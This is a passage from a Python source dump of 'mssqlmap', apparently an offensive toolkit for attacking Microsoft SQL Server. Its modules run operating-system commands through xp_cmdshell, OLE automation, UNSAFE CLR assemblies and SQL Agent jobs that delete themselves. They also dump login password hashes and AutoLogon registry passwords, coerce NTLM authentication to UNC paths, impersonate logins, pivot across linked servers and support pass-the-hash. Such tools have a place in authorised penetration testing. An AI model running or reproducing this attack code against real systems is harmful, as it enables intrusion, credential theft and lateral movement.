metavar='USERNAME') 32 | authsecret = auth.add_mutually_exclusive_group() 33 | authsecret.add_argument('-p', '--password', default='', metavar='PASSWORD') 34 | authsecret.add_argument('-H', '--hashes', default='', metavar='[LMHASH:]NTHASH', help='authenticate via pass the hash') 35 | authsecret.add_argument('-a', '--aes-key', default='', metavar='HEXKEY', help='authenticate via pass the key') 36 | auth.add_argument('-k', '--kerberos', action=BooleanOptionalAction, default=False, help='use Kerberos instead of NTLM') 37 | auth.add_argument('-K', '--kdc', metavar='HOST', help='FQDN or IP of a domain controller, default: value of -d') 38 | 39 | opts = entrypoint.parse_args() 40 | 41 | match opts.command: 42 | case 'bloodhound': 43 | from mssqlmap.discover import bloodhound 44 | 45 | neo4j_username = os.environ.get('NEO4J_USERNAME') or 'neo4j' 46 | neo4j_password = os.environ.get('NEO4J_PASSWORD') or 'neo4j' 47 | neo4j_url = os.environ.get('NEO4J_URL') or 'http://localhost:7474' 48 | for spn in bloodhound.get_spns(neo4j_url, neo4j_username, neo4j_password): 49 | if opts.json_output: 50 | util.log(**spn.model_dump(exclude_defaults=True), stdout=True) 51 | else: 52 | print(f'{spn.host}:{spn.port}', file=sys.stdout) 53 | case 'ldap': 54 | raise NotImplementedError() 55 | 56 | 57 | def log(**kwargs: Any) -> None: 58 | print(json.dumps(kwargs, sort_keys=False), file=sys.stderr) 59 | 60 | 61 | if __name__ == '__main__': 62 | main() 63 | -------------------------------------------------------------------------------- /mssqlmap/model.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | import functools 3 | 4 | import pydantic 5 | 6 | 7 | class BaseModel(pydantic.BaseModel): 8 | class Config: 9 | extra = pydantic.Extra.ignore 10 | frozen = True 11 | # work around pydantic incompatibility with cached properties, see https://github.com/pydantic/pydantic/issues/1241#issuecomment-587896750 12 | ignored_types = (functools.cached_property,) 13 | -------------------------------------------------------------------------------- /mssqlmap/modules/clrexec.py: -------------------------------------------------------------------------------- 1 | from typing import Any 2 | import hashlib 3 | 4 | from mssqlmap.client import Client, VisitorModule 5 | from mssqlmap.util import random_string 6 | 7 | 8 | class ClrExecutor(VisitorModule): 9 | def __init__(self, assembly_path: str, function_name: str, *function_args: str) -> None: 10 | self.assembly_path = assembly_path 11 | self.function_name = function_name 12 | self.function_args = function_args 13 | 14 | def invoke(self, client: Client) -> dict[str, list[dict[str, Any]]]: 15 | hash = self.filehash(self.assembly_path, 'sha512') 16 | hexdata = self.hexencode(self.assembly_path) 17 | name = self.filehash(self.assembly_path, 'md5') 18 | enabled = self.clr_enabled(client) 19 | trusted = self.assembly_trusted(client, hash) 20 | try: 21 | if not enabled: 22 | self.enable_clr(client) 23 | if not trusted: 24 | self.trust_assembly(client, hash, name) 25 | self.remove_assembly(client, name) 26 | self.add_assembly(client, name, hexdata, self.function_name, len(self.function_args)) 27 | escaped_args = ','.join(client.escape_string(arg) for arg in self.function_args) 28 | rows = client.query(f'EXEC "dbo".{client.escape_identifier(name)} {escaped_args}') 29 | return dict(rows=rows) 30 | finally: 31 | self.remove_assembly(client, name) 32 | if not trusted: 33 | self.distrust_assembly(client, hash) 34 | if not enabled: 35 | self.disable_clr(client) 36 | 37 | @staticmethod 38 | def clr_enabled(client: Client) -> bool: 39 | rows = client.query("SELECT convert(int, isnull(value, value_in_use)) AS [value] FROM sys.configurations WHERE name='clr enabled'"); 40 | assert len(rows) == 1 41 | return bool(rows[0]['value']) 42 | 43 | @staticmethod 44 | def enable_clr(client: Client) -> None: 45 | client.configure('show advanced options', True) 46 | client.configure('clr enabled', True) 47 | 48 | @staticmethod 49 | def disable_clr(client: Client) -> None: 50 | client.configure('clr enabled', False) 51 | client.configure('show advanced options', False) 52 | 53 | @staticmethod 54 | def assembly_trusted(client: Client, hash: str) -> bool: 55 | rows = client.query(f'SELECT hash FROM sys.trusted_assemblies WHERE hash=0x{hash}') 56 | return len(rows) > 0 57 | 58 | @staticmethod 59 | def trust_assembly(client: Client, hash: str, name: str) -> None: 60 | client.query(f"EXEC sys.sp_add_trusted_assembly 0x{hash},N'{name},version=0.0.0.0,culture=neutral,publickeytoken=null,processorarchitecture=msil'") 61 | 62 | @staticmethod 63 | def distrust_assembly(client: Client, hash: str) -> None: 64 | client.query(f'EXEC sys.sp_drop_trusted_assembly 0x{hash}') 65 | 66 | @staticmethod 67 | def remove_assembly(client: Client, name: str) -> None: 68 | client.query(f'DROP PROCEDURE IF EXISTS {client.escape_identifier(name)} DROP ASSEMBLY IF EXISTS {client.escape_identifier(name)}') 69 | 70 | @staticmethod 71 | def add_assembly(client: Client, name: str, content: str, function: str, argc: int) -> None: 72 | client.query(f'CREATE ASSEMBLY {client.escape_identifier(name)} FROM 0x{content} WITH PERMISSION_SET=UNSAFE') 73 | # procedure must be created in separate batch 74 | escaped_args = ','.join(f'@{random_string(4)} nvarchar(max)' for _ in range(argc)) 75 | client.query(f'CREATE PROCEDURE "dbo".{client.escape_identifier(name)} {escaped_args} AS EXTERNAL NAME {client.escape_identifier(name)}."StoredProcedures".{client.escape_identifier(function)}') 76 | 77 | @staticmethod 78 | def filehash(path: str, algorithm: str) -> str: 79 | hash = hashlib.new(algorithm) 80 | with open(path, 'rb') as file: 81 | while True: 82 | bindata = file.read(4096) 83 | if not bindata: 84 | break 85 | hash.update(bindata) 86 | return hash.hexdigest() 87 | 88 | @staticmethod 89 | def hexencode(path: str) -> str: 90 | result = [] 91 | with open(path, 'rb') as file: 92 | while True: 93 | bindata = file.read(4096) 94 | if not bindata: 95 | break 96 | result.append(bindata.hex()) 97 | return ''.join(result) 98 | -------------------------------------------------------------------------------- /mssqlmap/modules/coerce.py: -------------------------------------------------------------------------------- 1 | from mssqlmap.client import Client, VisitorModule 2 | from mssqlmap.modules.fs import FileReader 3 | 4 | 5 | class DirTreeCoercer(VisitorModule): 6 | def __init__(self, uncpath: str) -> None: 7 | self.uncpath = uncpath 8 | 9 | def invoke(self, client: Client) -> dict[str, bool]: 10 | client.query(f"EXEC master.sys.xp_dirtree {client.escape_string(self.uncpath)},1,1") 11 | return dict(ok=True) 12 | 13 | 14 | class FileExistCoercer(VisitorModule): 15 | def __init__(self, uncpath: str) -> None: 16 | self.uncpath = uncpath 17 | 18 | def invoke(self, client: Client) -> dict[str, bool]: 19 | client.query(f"EXEC master.sys.xp_fileexist {client.escape_string(self.uncpath)}") 20 | return dict(ok=True) 21 | 22 | 23 | class SubdirsCoercer(VisitorModule): 24 | def __init__(self, uncpath: str) -> None: 25 | self.uncpath = uncpath 26 | 27 | def invoke(self, client: Client) -> dict[str, bool]: 28 | client.query(f"EXEC master.sys.xp_subdirs {client.escape_string(self.uncpath)}") 29 | return dict(ok=True) 30 | 31 | 32 | class OpenRowSetCoercer(VisitorModule): 33 | def __init__(self, uncpath: str) -> None: 34 | self.uncpath = uncpath 35 | 36 | def invoke(self, client: Client) -> dict[str, bool]: 37 | FileReader.openrowset(client, self.uncpath) 38 | return dict(ok=True) 39 | -------------------------------------------------------------------------------- /mssqlmap/modules/dump.py: -------------------------------------------------------------------------------- 1 | from mssqlmap.client import Client, VisitorModule 2 | from mssqlmap.modules.reg import RegistryReader 3 | 4 | 5 | class HashDumper(VisitorModule): 6 | def __init__(self, output: str) -> None: 7 | self.output = output 8 | 9 | def invoke(self, client: Client) -> dict[str, str]: 10 | rows = client.query('SELECT name as [name], type_desc as [type], master.sys.fn_varbintohexstr(password_hash) as [hash] FROM master.sys.sql_logins') 11 | hashes = {row['name']: row['hash'] for row in rows if row['hash'] != 'NULL'} 12 | with open(self.output, 'a') as file: 13 | for key, value in hashes.items(): 14 | file.write(f'{key}@{client.hostname}:{value}\n') 15 | return hashes 16 | 17 | 18 | class JobDumper(VisitorModule): 19 | def invoke(self, client: Client) -> dict[str, str]: 20 | rows = client.query( 21 | 'SELECT ' 22 | 'steps.database_name,' 23 | 'job.job_id as [job_id],' 24 | 'job.name as [job_name],' 25 | 'job.description as [job_description],' 26 | 'suser_sname(job.owner_sid) as [job_owner],' 27 | 'steps.proxy_id,' 28 | 'proxies.name as [proxy_account],' 29 | 'job.enabled,' 30 | 'steps.server,' 31 | 'job.date_created,' 32 | 'steps.last_run_date,' 33 | 'steps.step_name,' 34 | 'steps.subsystem,' 35 | 'steps.command ' 36 | 'FROM msdb.dbo.sysjobs job ' 37 | 'INNER JOIN msdb.dbo.sysjobsteps steps ON job.job_id=steps.job_id ' 38 | 'LEFT JOIN msdb.dbo.sysproxies proxies ON steps.proxy_id=proxies.proxy_id' 39 | ) 40 | return {row['job_name']: row['command'] for row in rows} 41 | 42 | 43 | class AutoLogonDumper(VisitorModule): 44 | def invoke(self, client: Client) -> dict[str, str]: 45 | hive = 'HKEY_LOCAL_MACHINE' 46 | key = r'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' 47 | keys = dict( 48 | domain='DefaultDomainName', 49 | user='DefaultUserName', 50 | password='DefaultPassword', 51 | altdomain='AltDefaultDomainName', 52 | altuser='AltDefaultUserName', 53 | altpassword='AltDefaultPassword', 54 | ) 55 | result = { 56 | displayname: RegistryReader.regread(client, hive, key, name) 57 | for displayname, name in keys.items() 58 | } 59 | return {key: value for key, value in result.items() if value != 'NULL'} 60 | -------------------------------------------------------------------------------- /mssqlmap/modules/enum.py: -------------------------------------------------------------------------------- 1 | from typing import Any, TypedDict 2 | 3 | from mssqlmap.client import BaseModule, Client, DatabaseInfo 4 | from mssqlmap.connection import SQLErrorException 5 | 6 | 7 | class DatabaseEnumerator(BaseModule): 8 | def invoke(self, client: Client) -> dict[str, DatabaseInfo]: 9 | return client.enum_databases() 10 | 11 | 12 | class LoginInfo(TypedDict): 13 | name: str 14 | login_type: str 15 | roles: list[str] 16 | 17 | 18 | class LoginEnumerator(BaseModule): 19 | def invoke(self, client: Client) -> dict[str, LoginInfo]: 20 | # legacy table: master.sys.syslogins 21 | # docs: https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-server-principals-transact-sql 22 | return { 23 | row['name']: { 24 | 'name': row['name'], 25 | 'login_type': row['login_type'], 26 | 'roles': row['roles'].split(','), 27 | } 28 | for row in client.query("SELECT members.name, members.type_desc AS login_type, string_agg(roles.name, ',') AS roles FROM sys.server_role_members AS server_role_members JOIN sys.server_principals AS roles ON server_role_members.role_principal_id=roles.principal_id JOIN sys.server_principals AS members ON server_role_members.member_principal_id=members.principal_id WHERE members.is_disabled=0 AND NOT members.type IN ('A','R') GROUP BY members.name, members.type_desc") 29 | } 30 | 31 | 32 | class UserInfo(TypedDict): 33 | name: str 34 | user_type: str 35 | auth_type: str 36 | roles: list[str] 37 | 38 | 39 | class UserEnumerator(BaseModule): 40 | def invoke(self, client: Client) -> dict[str, UserInfo]: 41 | # legacy table: master.sys.sysusers 42 | # docs: https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql 43 | return { 44 | row['name']: { 45 | 'name': row['name'], 46 | 'user_type': row['user_type'], 47 | 'auth_type': row['auth_type'], 48 | 'roles': row['roles'].split(','), 49 | } 50 | for row in client.query("SELECT members.name, members.type_desc AS user_type, members.authentication_type_desc AS auth_type, string_agg(roles.name, ',') AS roles FROM sys.database_role_members AS server_role_members JOIN sys.database_principals AS roles ON server_role_members.role_principal_id=roles.principal_id JOIN sys.database_principals AS members ON server_role_members.member_principal_id=members.principal_id WHERE NOT members.type IN ('A','R') GROUP BY members.name, members.type_desc, members.authentication_type_desc") 51 | } 52 | -------------------------------------------------------------------------------- /mssqlmap/modules/exec.py: -------------------------------------------------------------------------------- 1 | from mssqlmap.client import Client, VisitorModule 2 | from mssqlmap.connection import SQLErrorException 3 | from mssqlmap.util import random_string 4 | 5 | 6 | class CmdShellExecutor(VisitorModule): 7 | def __init__(self, command: str) -> None: 8 | self.command = command 9 | 10 | def invoke(self, client: Client) -> dict[str, list[str]]: 11 | lines = self.xp_cmdshell(client, self.command) 12 | return dict(lines=lines) 13 | 14 | def xp_cmdshell(self, client: Client, command: str) -> list[str]: 15 | enabled = self.xp_cmdshell_enabled(client) 16 | if not enabled: 17 | self.enable_xp_cmdshell(client) 18 | rows = client.query(f'EXEC master.dbo.xp_cmdshell {client.escape_string(command)}') 19 | if not enabled: 20 | self.disable_xp_cmdshell(client) 21 | lines = [row['output'] for row in rows if row['output'] != 'NULL'] 22 | return lines 23 | 24 | @staticmethod 25 | def xp_cmdshell_enabled(client: Client) -> bool: 26 | rows = client.query("SELECT convert(int, isnull(value, value_in_use)) AS [value] FROM sys.configurations WHERE name='xp_cmdshell'"); 27 | assert len(rows) == 1 28 | return bool(rows[0]['value']) 29 | 30 | @staticmethod 31 | def enable_xp_cmdshell(client: Client) -> None: 32 | client.configure('show advanced options', True) 33 | client.configure('xp_cmdshell', True) 34 | 35 | @staticmethod 36 | def disable_xp_cmdshell(client: Client) -> None: 37 | client.configure('xp_cmdshell', False) 38 | client.configure('show advanced options', False) 39 | 40 | 41 | class OleExecutor(VisitorModule): 42 | def __init__(self, command: str) -> None: 43 | self.command = command 44 | 45 | def invoke(self, client: Client) -> dict[str, bool]: 46 | # FIXME: figure out proper escaping rules here 47 | assert '"' not in self.command, 'double quotes are not supported' 48 | command = f'Run("{self.command}")' 49 | 50 | enabled = self.ole_automation_enabled(client) 51 | if not enabled: 52 | self.enable_ole_automation(client) 53 | try: 54 | client.query(( 55 | 'DECLARE @output int ' 56 | 'DECLARE @program varchar(255) ' 57 | f'SET @program={client.escape_string(command)} ' 58 | f"EXEC master.dbo.sp_oacreate 'WScript.Shell', @output out " 59 | f'EXEC master.dbo.sp_oamethod @output, @program ' 60 | f'EXEC master.dbo.sp_oadestroy @output' 61 | )) 62 | finally: 63 | if not enabled: 64 | self.disable_ole_automation(client) 65 | return dict(ok=True) 66 | 67 | @staticmethod 68 | def enable_ole_automation(client: Client) -> None: 69 | client.configure('show advanced options', True) 70 | client.configure('Ole Automation Procedures', True) 71 | 72 | @staticmethod 73 | def disable_ole_automation(client: Client) -> None: 74 | client.configure('Ole Automation Procedures', False) 75 | client.configure('show advanced options', False) 76 | 77 | @staticmethod 78 | def ole_automation_enabled(client: Client) -> bool: 79 | rows = client.query("SELECT convert(int, isnull(value, value_in_use)) AS [value] FROM sys.configurations WHERE name='Ole Automation Procedures'"); 80 | assert len(rows) == 1 81 | return bool(rows[0]['value']) 82 | 83 | 84 | class JobScheduler(VisitorModule): 85 | # see https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-add-jobstep-transact-sql 86 | SUBSYSTEMS = dict( 87 | sql='TSQL', 88 | cmd='CmdExec', 89 | powershell='PowerShell', 90 | ) 91 | # see https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-add-jobschedule-transact-sql 92 | FREQUENCIES = dict( 93 | once=1, 94 | daily=4, 95 | weekly=8, 96 | monthly=16, 97 | ) 98 | 99 | def __init__(self, name: str, interval: str|None, language: str, command: str) -> None: 100 | self.jobname = name 101 | try: 102 | self.interval = self.FREQUENCIES[interval] if interval else None 103 | except KeyError as e: 104 | raise ValueError(f'invalid interval {self.interval!r}') from e 105 | try: 106 | self.language = self.SUBSYSTEMS[language] 107 | except KeyError as e: 108 | raise ValueError(f'invalid language {self.language!r}') from e 109 | self.command = command 110 | 111 | def invoke(self, client: Client) -> dict[str, bool|str]: 112 | if client.instance == 'sqlexpress': 113 | raise RuntimeError('SQL Express does not support agent jobs') 114 | 115 | step_name, schedule_name = random_string(), random_string() 116 | 117 | started = self.sql_server_agent_started(client) 118 | if not started: 119 | self.start_sql_server_agent(client) 120 | try: 121 | # delete level 3 means that the job deletes itself after execution, see https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-add-job-transact-sql 122 | statements = [ 123 | f"EXEC msdb.dbo.sp_add_job @job_name={client.escape_string(self.jobname)},@delete_level={0 if self.interval else 3}", 124 | f"EXEC msdb.dbo.sp_add_jobstep @job_name={client.escape_string(self.jobname)},@step_name={client.escape_string(step_name)},@subsystem={client.escape_string(self.language)},@command={client.escape_string(self.command)}", 125 | f"EXEC msdb.dbo.sp_add_jobschedule @job_name={client.escape_string(self.jobname)},@name={client.escape_string(schedule_name)},@freq_type={self.interval} " if self.interval else '', 126 | f"EXEC msdb.dbo.sp_add_jobserver @job_name={client.escape_string(self.jobname)}", 127 | f"EXEC msdb.dbo.sp_start_job @job_name={client.escape_string(self.jobname)} " if not self.interval else '', 128 | ] 129 | client.query(' '.join(x for x in statements if x)) 130 | return dict(ok=True) 131 | except SQLErrorException as e: 132 | client.query(f"EXEC msdb.dbo.sp_delete_job @job_name={client.escape_string(self.jobname)}", ignore_errors=True) 133 | return dict(ok=False, error=str(e)) 134 | finally: 135 | if not started and not self.interval: 136 | self.stop_sql_server_agent(client) 137 | pass 138 | 139 | @staticmethod 140 | def sql_server_agent_started(client: Client) -> bool: 141 | #row = client.query_single("EXEC master.dbo.xp_servicecontrol 'Querystate','SQLServerAgent'") 142 | #row['Current Service State'].lower().removesuffix('.') == 'started' 143 | 144 | # docs: https://learn.microsoft.com/en-us/sql/relational-databases/system-dynamic-management-views/sys-dm-server-services-transact-sql 145 | assert "'" not in client.instance, 'instance name contains unsupported character' 146 | rows = client.query(f"SELECT servicename AS name, startup_type_desc AS startup, status_desc AS status FROM sys.dm_server_services WHERE servicename in ('SQL Server Agent ({client.instance})', 'SQL Server Agent')") 147 | assert len(rows) == 1, 'more than one matching SQL Server Agent found' 148 | row = rows[0] 149 | if row['status'].lower() == 'running': 150 | return True 151 | if row['startup'].lower() != 'automatic': 152 | raise RuntimeError(f'agent service is not running and not configured to start automatically') 153 | return False 154 | 155 | @staticmethod 156 | def start_sql_server_agent(client: Client) -> None: 157 | client.query("EXEC master.dbo.xp_servicecontrol 'Start','SQLServerAgent'") 158 | 159 | @staticmethod 160 | def stop_sql_server_agent(client: Client) -> None: 161 | client.query("EXEC master.dbo.xp_servicecontrol 'Stop','SQLServerAgent'") 162 | 163 | 164 | class JobDeleter(VisitorModule): 165 | def __init__(self, job: str) -> None: 166 | self.job = job 167 | 168 | def invoke(self, client: Client) -> dict[str, bool]: 169 | client.query(f'EXEC msdb.dbo.sp_delete_job @job_name={client.escape_string(self.job)}') 170 | return dict(ok=True) 171 | 172 | 173 | class JobExecutor(JobScheduler): 174 | def __init__(self, language: str, command: str) -> None: 175 | super().__init__(random_string(), None, language, command) 176 | -------------------------------------------------------------------------------- /mssqlmap/modules/fs.py: -------------------------------------------------------------------------------- 1 | from mssqlmap.client import Client, VisitorModule 2 | from mssqlmap.modules.exec import OleExecutor 3 | 4 | 5 | class FileReader(VisitorModule): 6 | def __init__(self, path: str) -> None: 7 | self.path = path 8 | 9 | def invoke(self, client: Client) -> dict[str, str]: 10 | bindata = self.openrowset(client, self.path).decode(errors='surrogate-escape') 11 | return dict(content=bindata) 12 | 13 | @staticmethod 14 | def openrowset(client: Client, path: str) -> bytes: 15 | # docs: https://learn.microsoft.com/en-us/sql/t-sql/functions/openrowset-transact-sql 16 | rows = client.query(f'SELECT bulkcolumn FROM openrowset(BULK {client.escape_string(path)}, SINGLE_BLOB) AS x', decode=False) 17 | assert len(rows) == 1 and len(rows[0]) == 1 18 | bindata = bytes.fromhex(rows[0]['bulkcolumn'].decode('ascii')) 19 | return bindata 20 | 21 | 22 | class FileWrite(VisitorModule): 23 | def __init__(self, local: str, remote: str) -> None: 24 | self.local = local 25 | self.remote = remote 26 | 27 | def invoke(self, client: Client) -> dict[str, bool]: 28 | with open(self.local, 'rb') as file: 29 | data = file.read() 30 | enabled = OleExecutor.ole_automation_enabled(client) 31 | if not enabled: 32 | OleExecutor.enable_ole_automation(client) 33 | try: 34 | client.query( 35 | "DECLARE @ob INT " 36 | "EXEC sp_oacreate 'ADODB.Stream', @ob OUTPUT " 37 | "EXEC sp_oasetproperty @ob, 'Type', 1 " 38 | "EXEC sp_oamethod @ob, 'Open' " 39 | f"EXEC sp_oamethod @ob, 'Write', NULL, 0x{data.hex()} " 40 | f"EXEC sp_oamethod @ob, 'SaveToFile', NULL, {client.escape_string(self.remote)}, 2 " 41 | "EXEC sp_oamethod @ob, 'Close' " 42 | "EXEC sp_oadestroy @ob" 43 | ) 44 | finally: 45 | if not enabled: 46 | OleExecutor.disable_ole_automation(client) 47 | return dict(ok=True) 48 | -------------------------------------------------------------------------------- /mssqlmap/modules/impersonated_user.py: -------------------------------------------------------------------------------- 1 | from typing import Any, Generator, TypedDict 2 | 3 | from mssqlmap.client import BrokenClient, Client, SpiderModule 4 | from mssqlmap.connection import SQLErrorException 5 | 6 | 7 | class ImpersonatedUser(Client): 8 | SIGN = '->' 9 | 10 | def __init__(self, name: str, mode: str, parent: Client, children: list[Client]|None = None, seen: set[str]|None = None) -> None: 11 | super().__init__(parent.connection, parent, children, seen) 12 | self.parent: Client # make type checker happy 13 | assert mode in ('login', 'user') 14 | self.name = name 15 | self.mode = mode 16 | 17 | def query(self, statement: str, decode: bool = True, ignore_errors: bool = False) -> list[dict[str, Any]]: 18 | self.parent.query(f'EXECUTE AS {self.mode}={self.escape_string(self.name)}') 19 | try: 20 | return self.parent.query(statement, decode=decode, ignore_errors=ignore_errors) 21 | finally: 22 | self.parent.query('REVERT') 23 | 24 | def disconnect(self) -> None: 25 | for child in self.children: 26 | child.disconnect() 27 | 28 | @property 29 | def path(self) -> str: 30 | match self.mode: 31 | case 'login': 32 | return f'{self.parent.path}{self.SIGN}{self.login}:{self.username}' 33 | case 'user': 34 | return f'{self.parent.path}{self.SIGN}{self.login}:{self.username}' 35 | case _: 36 | raise RuntimeError('unreachable') 37 | 38 | 39 | class BrokenImpersonatedUser(BrokenClient): 40 | @property 41 | def path(self) -> str: 42 | return f'{self.parent.path if self.parent else ""}{ImpersonatedUser.SIGN}{super().path}' 43 | 44 | 45 | class ImpersonationInfo(TypedDict): 46 | mode: str 47 | database: str 48 | grantee: str 49 | grantor: str 50 | 51 | 52 | class ImpersonationSpider(SpiderModule): 53 | def spider(self, client: Client) -> Generator[Client, None, None]: 54 | for row in self.enum_impersonation(client): 55 | child = ImpersonatedUser(row['grantor'], row['mode'], client, None, client.seen) 56 | try: 57 | child.test() 58 | yield child 59 | except SQLErrorException as e: 60 | attrs = {row['mode']: row['grantor']} 61 | yield BrokenImpersonatedUser(client, e, **attrs) 62 | 63 | def enum_impersonation(self, client: Client) -> list[ImpersonationInfo]: 64 | results = [] 65 | 66 | if client.whoami()['user'] == 'dbo': 67 | results.append(dict(mode='login', database='', grantee='sa', grantor='sa')) 68 | 69 | results += self.enum_logins(client) 70 | results += self.enum_users(client) 71 | return results 72 | 73 | @staticmethod 74 | def enum_logins(client: Client) -> list[ImpersonationInfo]: 75 | result = client.query("SELECT 'login' as [mode], '' AS [database], pr.name AS [grantee], pr2.name AS [grantor] FROM sys.server_permissions pe JOIN sys.server_principals pr ON pe.grantee_principal_id=pr.principal_id JOIN sys.server_principals pr2 ON pe.grantor_principal_id=pr2.principal_id WHERE pe.type='IM' AND (pe.state='G' OR pe.state='W')") 76 | return result # type: ignore 77 | 78 | @staticmethod 79 | def enum_users(client: Client) -> list[ImpersonationInfo]: 80 | results = [] 81 | for database in client.enum_databases(): 82 | try: 83 | results += client.query_database(database, f"SELECT 'user' as [mode], db_name() AS [database], pr.name AS [grantee], pr2.name AS [grantor] FROM sys.database_permissions pe JOIN sys.database_principals pr ON pe.grantee_principal_id=pr.principal_id JOIN sys.database_principals pr2 ON pe.grantor_principal_id=pr2.principal_id WHERE pe.type='IM' AND (pe.state='G' OR pe.state='W')") 84 | except SQLErrorException: 85 | # current user is not allowed to access the database 86 | pass 87 | return results 88 | -------------------------------------------------------------------------------- /mssqlmap/modules/linked_instance.py: -------------------------------------------------------------------------------- 1 | from typing import Any, Generator, TypedDict 2 | import logging 3 | 4 | from mssqlmap.client import BrokenClient, Client, SpiderModule 5 | from mssqlmap.connection import SQLErrorException 6 | 7 | 8 | class LinkedInstance(Client): 9 | SIGN = '=>' 10 | 11 | def __init__(self, name: str, parent: Client, children: list[Client]|None = None, seen: set[str]|None = None) -> None: 12 | super().__init__(parent.connection, parent, children, seen) 13 | self.parent: Client # make type checker happy 14 | self.name = name 15 | 16 | def disconnect(self) -> None: 17 | for child in self.children: 18 | child.disconnect() 19 | 20 | 21 | class LinkedRpcInstance(LinkedInstance): 22 | def __init__(self, name: str, disable_rpc: bool, parent: Client, children: list[Client]|None = None, seen: set[str]|None = None) -> None: 23 | super().__init__(name, parent, children, seen) 24 | self.disable_rpc = disable_rpc 25 | 26 | def query(self, statement: str, decode: bool = True, ignore_errors: bool = False) -> list[dict[str, Any]]: 27 | assert '[' not in self.name and ']' not in self.name, f'unsupported name {self.name!r}' 28 | statement = f'EXEC ({self.escape_string(statement)}) AT {self.escape_identifier(self.name)}' 29 | return self.parent.query(statement, decode=decode, ignore_errors=ignore_errors) 30 | 31 | @property 32 | def path(self) -> str: 33 | return f'{self.parent.path}{self.SIGN}{super().path}' 34 | 35 | def disconnect(self) -> None: 36 | if self.disable_rpc: 37 | logging.debug(f'disabling rpc on {self.parent.path} for {self.name}') 38 | self.parent.query(f"EXEC sp_serveroption {self.escape_string(self.name)},'rpc out','false'") 39 | 40 | 41 | class LinkedQueryInstance(LinkedInstance): 42 | def query(self, statement: str, decode: bool = True, ignore_errors: bool = False) -> list[dict[str, Any]]: 43 | assert '[' not in self.name and ']' not in self.name, f'unsupported name {self.name!r}' 44 | statement = f'SELECT * FROM openquery({self.escape_identifier(self.name)}, {self.escape_string(statement)})' 45 | return self.parent.query(statement, decode=decode, ignore_errors=ignore_errors) 46 | 47 | @property 48 | def path(self) -> str: 49 | return f'{self.parent.path}{self.SIGN}{super().path}' 50 | 51 | 52 | class BrokenLinkedInstance(BrokenClient): 53 | @property 54 | def path(self) -> str: 55 | return f'{self.parent.path if self.parent else ""}{LinkedRpcInstance.SIGN}{super().path}' 56 | 57 | 58 | class UnsupportedLinkedInstance(BrokenLinkedInstance): 59 | pass 60 | 61 | 62 | class InstanceInfo(TypedDict): 63 | name: str 64 | product: str 65 | provider: str 66 | datasource: str 67 | rpc_enabled: bool|None 68 | data_enabled: bool|None 69 | local_login: str|None 70 | remote_login: str|None 71 | 72 | 73 | class UnsupportedInstance(Exception): 74 | def __init__(self, info: InstanceInfo) -> None: 75 | self.info = info 76 | 77 | def __str__(self) -> str: 78 | return f'unsupported provider {self.info["provider"]} for {self.info["product"] or "NULL"} at {self.info["datasource"]}' 79 | 80 | 81 | class LinkSpider(SpiderModule): 82 | def spider(self, client: Client) -> Generator[Client, None, None]: 83 | for name, info in self.enum_links(client).items(): 84 | if info['provider'] != 'SQLNCLI': 85 | yield UnsupportedLinkedInstance(client, UnsupportedInstance(info), hostname=name, instance=info['name']) 86 | continue 87 | 88 | child = LinkedRpcInstance(name, not info['rpc_enabled'], client, None, client.seen) 89 | try: 90 | if not info['rpc_enabled']: 91 | logging.debug(f'enabling rpc on {client.path} for {name}') 92 | client.query(f"EXEC sp_serveroption {client.escape_string(name)},'rpc out','true'") 93 | child.test() 94 | yield child 95 | continue 96 | except TimeoutError as e: 97 | client.reconnect() 98 | yield BrokenLinkedInstance(client, e, hostname=name, instance='') 99 | except SQLErrorException as e: 100 | yield BrokenLinkedInstance(client, e, hostname=name, instance='') 101 | 102 | # when link fails due to rpc error try again with openquery 103 | child = LinkedQueryInstance(name, client, None, client.seen) 104 | try: 105 | child.test() 106 | yield child 107 | continue 108 | except TimeoutError as e: 109 | client.reconnect() 110 | yield BrokenLinkedInstance(client, e, hostname=name, instance='') 111 | except SQLErrorException as e: 112 | yield BrokenLinkedInstance(client, e, hostname=name, instance='') 113 | 114 | def enum_links(self, client: Client) -> dict[str, InstanceInfo]: 115 | result = {} 116 | 117 | try: 118 | result |= { 119 | row['SRV_NAME']: dict( 120 | name=row['SRV_NAME'], 121 | product=row['SRV_PRODUCT'], 122 | provider=row['SRV_PROVIDERNAME'], 123 | datasource=row['SRV_DATASOURCE'], 124 | rpc_enabled=None, 125 | data_enabled=None, 126 | local_login='', 127 | remote_login='', 128 | ) 129 | for row in client.query('EXEC sp_linkedservers') 130 | } 131 | except SQLErrorException: 132 | pass 133 | 134 | # sys.sysservers is the legacy version of sys.servers, see https://learn.microsoft.com/en-us/sql/relational-databases/system-compatibility-views/sys-sysservers-transact-sql 135 | try: 136 | result |= { 137 | row['name']: row 138 | for row in client.query("SELECT name, product, provider, data_source AS datasource, '' AS local_login, '' AS remote_login, is_rpc_out_enabled AS rpc_enabled, is_data_access_enabled AS data_enabled FROM master.sys.servers WHERE NOT server_id=0") # filter by is_data_access_enabled? 139 | } 140 | except SQLErrorException: 141 | pass 142 | 143 | # another method to list instances and rpc state from https://github.com/skahwah/SQLRecon/pull/8/files 144 | # EXEC sp_helpserver 145 | 146 | try: 147 | logins = { 148 | row['Linked Server']: dict( 149 | local_login=row['Local Login'], 150 | remote_login=row['Remote Login'], 151 | ) 152 | for row in client.query('EXEC sp_helplinkedsrvlogin') 153 | if not row['Is Self Mapping'] 154 | } 155 | for server in result: 156 | try: 157 | result[server]['local_login'] = logins[server]['local_login'] 158 | result[server]['remote_login'] = logins[server]['remote_login'] 159 | except KeyError: 160 | pass 161 | except SQLErrorException: 162 | pass 163 | 164 | return result 165 | -------------------------------------------------------------------------------- /mssqlmap/modules/query.py: -------------------------------------------------------------------------------- 1 | from typing import Any 2 | 3 | from mssqlmap.client import Client, VisitorModule 4 | 5 | 6 | class QueryRunner(VisitorModule): 7 | def __init__(self, statement: str) -> None: 8 | self.statement = statement 9 | 10 | def invoke(self, client: Client) -> dict[str, list[dict[str, Any]]]: 11 | rows = client.query(self.statement) 12 | return dict(rows=rows) 13 | -------------------------------------------------------------------------------- /mssqlmap/modules/reg.py: -------------------------------------------------------------------------------- 1 | from typing import 